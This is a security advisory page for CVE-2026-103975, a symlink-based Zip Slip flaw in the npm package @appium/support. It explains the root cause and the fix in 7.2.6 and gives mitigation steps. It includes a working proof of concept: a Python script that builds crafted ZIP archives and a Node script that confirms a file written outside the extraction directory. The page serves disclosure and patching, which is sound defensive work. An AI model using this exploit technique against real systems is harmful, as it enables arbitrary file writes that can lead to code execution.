Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-103975 — @appium/support

MEDIUMFix: appium/appium@d9eb36f

CVE-2026-103975 is a medium-severity (CVSS 6.5) CWE-59 vulnerability in @appium/support. A fix is available for @appium/support — see the affected versions and patch details below.

Appium: Symlink based Zip Slip in @appium/support ZIP extraction

Also known asGHSA-qfxx-c367-67f8
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-103975.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-103975 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

59other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@appium/supportnpm
2.0Mdownloads / week

Description

Summary

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.

This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.

The two issues compared on the same patched version 7.2.5:

CVE-2026-30973This finding
Vectorone entry whose name contains ..a symlink entry plus a file written through it
Entry namescontain .. (illegal)legitimate, no .. and not absolute
What is missingthe .. name chec\k did not throwname checks never resolve symlinks, and the symlink target is unchecked
Entries neededonetwo
Fixed in 7.0.6yesno
Status on 7.2.5blockedstill exploitable (proven below)

Details

Root cause

The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:

// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslip_poc.js

'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use

Impact

An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@appium/supportall versions7.2.6npm install @appium/support@7.2.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @appium/support, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @appium/support to 7.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-103975 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary CVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names. This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` a
O3 Security · Impact-Aware SCA

Is CVE-2026-103975 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-103975: @appium/support — Fixed in 7.2.6